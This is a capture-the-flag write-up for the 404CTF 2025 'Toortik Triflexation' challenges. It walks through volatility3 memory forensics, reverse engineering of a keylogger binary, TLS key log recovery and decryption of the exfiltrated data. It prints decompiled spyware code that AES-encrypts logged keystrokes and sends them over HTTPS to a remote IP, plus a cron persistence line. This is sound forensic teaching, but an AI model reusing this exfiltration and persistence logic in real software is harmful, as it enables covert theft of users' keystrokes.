404CTF 2025 : Toortik triflexation

Toortik Triflexation [1/2]
Challenge description (translated) :
After detecting abnormal requests on one of our machines, we decided to perform a RAM and network capture. It seems that these requests are periodic…
Find the path of the executed binary, the period (HH:mm:ss) between each execution, the name of the malicious kernel module and the type of spyware.
Format : 404CTF{/etc/passwd:01:15:00:name:trojan}
For this challenge We are given an is an ELF 64-bit LSB core file which is in our case not an executable but a memory dump.
First of all , if we try to use volatility3 to analyze this memory dump, its not gonna be working because we need to acquire appropriate kernel debugging informations first.
To do that we will provide intermediate symbol files (ISF) to volatility.
The ISF is a json file that defines the layout of kernel structures, constants, and symbols for a specific kernel or OS version.
To get the appropriate ISF, we first need to know more details about the kernel from which the memory dump was taken from, this information can be obtained using the volatility plugin banners.
There is a github repo containing these ISF for many distros made by Abyss-Watcher ❤️ https://github.com/Abyss-W4tcher/volatility3-symbols/tree/master
Then using the following command, we can retrieve the location of the appropriate IFS if present on the repository.
wget -qO- https://raw.githubusercontent.com/Abyss-W4tcher/volatility3-symbols/master/banners/banners_plain.json | grep -A 2 "Linux version 6.11.0-17-generic (buildd@lcy02-amd64-038) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04)"
As you can see above, we got a match so we can retrieve the correct ISF at https://github.com/Abyss-W4tcher/volatility3-symbols/tree/master/Ubuntu/amd64/6.11.0/17/generic/Ubuntu_6.11.0-17-generic_6.11.0-17.17~24.04.2_amd64.json.xz
To make it active, we place the ISF file to the following location : $PATH_OF_VOLATILITY/volatility3/symbols/linux/Ubuntu_6.11.0-17-generic_6.11.0-17.17~24.04.2_amd64.json.xz
Now that volatility is ready we can start the investigation.
The first element we need for this challenge, the name of the malicious kernel module can be easily retrieved using the volatility plugin linux.hidden_modules
With the name of the malicious kernel module known which is chall a seen just above, we can search all the references to this kernel module using strings command on the memory dump and we can see interesting things such as the full path of the kernel module and a curious command line
To get more information, we will dump all the files from this memory dump using the volatility plugin linux.pagecache.RecoverFs
which takes some time.
Once we get all of these files we can search for the directory “/snap/firefox/.config/”.
We can notice that this directory contains few files, one of them is particularly interesting : /snap/firefox/.config/firefox/config-firefox
This file is interesting because it’s an executable and for that reason we will drop in into ghidra to analyze it.
Here is the decompiled code from the main function:
undefined8 main(void)
{
long in_FS_OFFSET;
undefined8 local_260;
char *local_258;
void *local_250;
undefined8 local_248;
undefined8 local_240;
undefined8 local_238;
undefined8 local_230;
undefined8 local_228;
undefined8 local_220;
char local_218 [256];
char local_118 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_258 = "/snap/firefox/.config/logs";
local_238 = 0x8e2d7a4c1e9b3f6a;
local_230 = 0x6c8a4e1d7b3a0c5f;
local_228 = 0x8f5e1a7c3d4f9e2b;
local_220 = 0x1e7b3f4e9a2c6d0b;
local_248 = 0x8b7a6f5e4d3c2b1a;
local_240 = 0xffcebdacfbead9c;
generate_random_filename(local_218,0x100,"/tmp/");
generate_random_filename(local_118,0x100,"/tmp/");
setenv("SSLKEYLOGFILE",local_218,1);
encrypt_file(local_258,local_118,&local_238,&local_248);
local_250 = (void *)read_file(local_118,&local_260);
send_https_request(local_250,local_260,"https://10.0.2.4:8080");
free(local_250);
remove(local_258);
remove(local_218);
remove(local_118);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
We can clearly see that this binary is doing something shady.
This piece of code shown above mention the file located at "/snap/firefox/.config/logs
, which is likely be encrypted and sent to a remote server, let’s see what does this file contains
The content of this file seems to correspond to the key typed by this user, that mean the spyware type is a keylogger
One piece of information is missing to complete the challenge: the time interval between each execution. To find that, we can search into the memory dump all the references to this executable and we see a CRON job.
/10 * * * * /snap/firefox/.config/config-firefox
mean that the binary config-firefox will be executed every 10 minutes.
Now, we have all we need to flag this first part of the challenge:
-
Binary executed: /snap/firefox/.config/config-firefox
-
Interval between each execution: 10 minutes => 00:10:00
-
Malicious kernel module name: chall
-
Type of spyware: keylogger
FLAG : 404CTF{/snap/firefox/.config/config-firefox:00:10:00:chall:keylogger}
Toortik Triflexation [2/2]
Challenge description (translated) :
In addition to the RAM capture, we also performed a network capture. A treat: find the exfiltrated flag!
Notes:
• It appears that some information is truncated in the RAM capture.
• Some reverse engineering knowledge may be helpful.
On the part 1 , we briefly opened the malicious binary into a decompiler to analyze it, in this part, we will do deeper analysis.
First of all, here is the key elements f the main function:
undefined8 main(void)
{
[...]
local_258 = "/snap/firefox/.config/logs";
local_238 = 0x8e2d7a4c1e9b3f6a;
local_230 = 0x6c8a4e1d7b3a0c5f;
local_228 = 0x8f5e1a7c3d4f9e2b;
local_220 = 0x1e7b3f4e9a2c6d0b;
local_248 = 0x8b7a6f5e4d3c2b1a;
local_240 = 0xffcebdacfbead9c;
generate_random_filename(local_218,0x100,"/tmp/");
generate_random_filename(local_118,0x100,"/tmp/");
setenv("SSLKEYLOGFILE",local_218,1);
encrypt_file(local_258,local_118,&local_238,&local_248);
local_250 = (void *)read_file(local_118,&local_260);
send_https_request(local_250,local_260,"https://10.0.2.4:8080");
[...]
return 0;
}
The program is not too complicated to understand by looking at the main function the obvious function names.
First, the program will generate two random strings that will be later be used as file path : /tmp/<random_num>
void generate_random_filename(char *param_1,size_t param_2,undefined8 param_3)
{
int iVar1;
time_t tVar2;
tVar2 = time((time_t *)0x0);
iVar1 = rand();
snprintf(param_1,param_2,"%s%ld",param_3,tVar2 + iVar1 % 10000);
return;
}
One of these two string randomly generated will be used to set the location of the environment variable SSLKEYLOGFILE.
SSLKEYLOGFILE is a special environment variable that will be used by certain programs that use TLS encryption such as web browsers or cryptography libraries (OpenSSL)to know where log the secrets used during TLS/SSL Handshake.
Then the file located at /snap/firefox/.config/logs that contains keys registered by the keylogger will be encrypted
void encrypt_file(char *param_1,char *param_2,uchar *param_3,uchar *param_4)
{
[...]
local_840 = fopen(param_1,"rb");
local_838 = fopen(param_2,"wb");
local_830 = EVP_CIPHER_CTX_new();
cipher = EVP_aes_256_cbc();
iVar1 = EVP_EncryptInit_ex(local_830,cipher,(ENGINE *)0x0,param_3,param_4);
if (iVar1 != 1) {
perror("EVP_EncryptInit_ex failed");
}
while( true ) {
sVar2 = fread(local_828,1,0x400,local_840);
local_844 = (int)sVar2;
if (local_844 < 1) break;
iVar1 = EVP_EncryptUpdate(local_830,local_428,&local_848,local_828,local_844);
if (iVar1 != 1) {
perror("EVP_EncryptUpdate failed");
}
fwrite(local_428,1,(long)local_848,local_838);
}
iVar1 = EVP_EncryptFinal_ex(local_830,local_428,&local_848);
if (iVar1 != 1) {
perror("EVP_EncryptFinal_ex failed");
}
fwrite(local_428,1,(long)local_848,local_838);
EVP_CIPHER_CTX_free(local_830);
fclose(local_840);
fclose(local_838);
return;
}
finally, the encrypted content will be sent to a remove server, with IP 10.0.2.4
oid send_https_request(undefined8 param_1,undefined8 param_2,undefined8 param_3)
{
int iVar1;
long lVar2;
undefined8 uVar3;
curl_global_init(3);
lVar2 = curl_easy_init();
if (lVar2 != 0) {
curl_easy_setopt(lVar2,0x2712,param_3);
curl_easy_setopt(lVar2,0x271f,param_1);
curl_easy_setopt(lVar2,0x3c,param_2);
curl_easy_setopt(lVar2,0x40,1);
curl_easy_setopt(lVar2,0x2751,"/snap/firefox/.config/.parameters");
curl_easy_setopt(lVar2,0x2771,"/snap/firefox/.config/.parameters");
iVar1 = curl_easy_perform(lVar2);
if (iVar1 != 0) {
uVar3 = curl_easy_strerror(iVar1);
fprintf(stderr,"curl_easy_perform() failed: %s\n",uVar3);
}
curl_easy_cleanup(lVar2);
}
curl_global_cleanup();
return;
}
At this point, we have a general idea on how the keylogger works, we can open the packet capture provided for this challenge and check the trafic that has dest IP the IP we found inside the spyware binary: 10.0.2.4
As expected, this traffic is encrypted and we don’t have much information yet
Previously, we saw that the keylogger was setting the environment variable SSLKEYLOGFILE to a custom path, the content of this file can be used to decrypt the traffic.
Unfortunately, searching all the file in /tmp/ dont reveal the keylogfile but instead we can reconstruct it by again using strings command on the memory dump. Lookign at this stackoverflow post, we can know which field are inside this keylog file.
SERVER_HANDSHAKE_TRAFFIC_SECRET 4e9152602145711b9af18fec5cd0e270386509b8e41e1b0e4a54206b6cd2b86b a77af2eea2726ffd6fe63fe8662fa2233b12ca182c7ca0f641b86937ea821b1a7c2138eca63e2963c66ea559eb85cffe
EXPORTER_SECRET 4e9152602145711b9af18fec5cd0e270386509b8e41e1b0e4a54206b6cd2b86b 0dd78f3e40cb00a51c8d33ecde17d52f181054a6274c3e59181ae024815932c89aeb4136c19c14c46c36e2786ee8577e
SERVER_TRAFFIC_SECRET_0 4e9152602145711b9af18fec5cd0e270386509b8e41e1b0e4a54206b6cd2b86b 0efc9918b3e23872a7cb1458b8f19802d3e3ee3abe4c1a7dd7555a1a8929ec95d84cf67d604725f10b70aa7531e45436
CLIENT_HANDSHAKE_TRAFFIC_SECRET 4e9152602145711b9af18fec5cd0e270386509b8e41e1b0e4a54206b6cd2b86b 021e1b83b338a2ff782de1e5c438a9050b70b86c13a0bbedc12a480dcde1e8f80e4347b1323aca0dd553acbc427265
CLIENT_TRAFFIC_SECRET_0 4e9152602145711b9af18fec5cd0e270386509b8e41e1b0e4a54206b6cd2b86b 8bd3531ac9764f9250a12f85c5220815a8f6a8510c046f8bc2ff022c92fdbdb778972697993e8e60d4bd58a2dfb85125
Can you spot what is wrong with this keylog file ?
The challenge description say “it appears that some information is truncated in the RAM capture.”, the problem here is the CLIENT_HANDSHAKE_TRAFFIC_SECRET is truncated and there is 2 bytes missing.
Since there is only 2 bytes missing, we can bruteforce the TLS decryption and see that the 2 bytes missing are ‘fb’.
Once decrypted, we can see the traffic and extract the payload which is encrypted by the program.
Here is the script to decrypt it:
from Crypto.Cipher import AES
def format_bytes(hex_str):
n=16
hex_str_split = [hex_str[i:i+n] for i in range(0, len(hex_str), n)]
result=b""
for i in hex_str_split:
intval=int(i, 16)
result+=intval.to_bytes(8, byteorder='little')
return result
ciphertext = "cd0fa1ae97c509acf24caf2ba33f5b9d22c713623fd730f1b0f4c2e8b25b9a136575cc9d31d6e2c173f988bdec915c5870c5967f3adec8bed69e6c04daaf9f8430245b2a9bf444fc51aa76b4f56fcc10cd7b553b39166007f56cfb3121a25f9a90ae6ff8d88db65b7c3d603ccb2b783989533ecef4d2d3ae465d2336f67324e3bfe45408a10e24223f360fa4ad8aaa3db96e05173c237d2f1ab6f4377a66a1a98d356007420bc573a2030efddba9ddcd8b3d904bae7dff1886bdbd2911b86b99412c0b6c0739cc213beb33110351943cfd348c0dacf2719c30aee65282fc24d28c0871b82941e3bf48c0d6709b49cebca37031e6b7031685b5dca996b5b7ff6a24c7fadf8e12e6a0005d1c821f73105a03a0360c807e5854e46e93fe1191f3de1a022a0c27ebadb683647bdf1556eb2873f79c0e086cfc988684cfe0671164c88b7fdcd434d59b581f96e26e9c5857d63471f3c387ab3e1d55cff8cb07f503a57a97af772de30fbf0d93dbb6189fa796f0d5b30c3c614bb16fa611143d40ce8d2f6e05eb6b07ab2d5004fd4b9e95e020"
key_str ="8E2D7A4C1E9B3F6A6C8A4E1D7B3A0C5F8F5E1A7C3D4F9E2B1E7B3F4E9A2C6D0B"
iv_str = "8B7A6F5E4D3C2B1A0FFCEBDACFBEAD9C"
key = format_bytes(key_str)
iv = format_bytes(iv_str)
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_cipher=cipher.decrypt(bytes.fromhex(ciphertext))
print(decrypted_cipher)
On the output, we can clearly recognize the keys typed and get the flag out of it.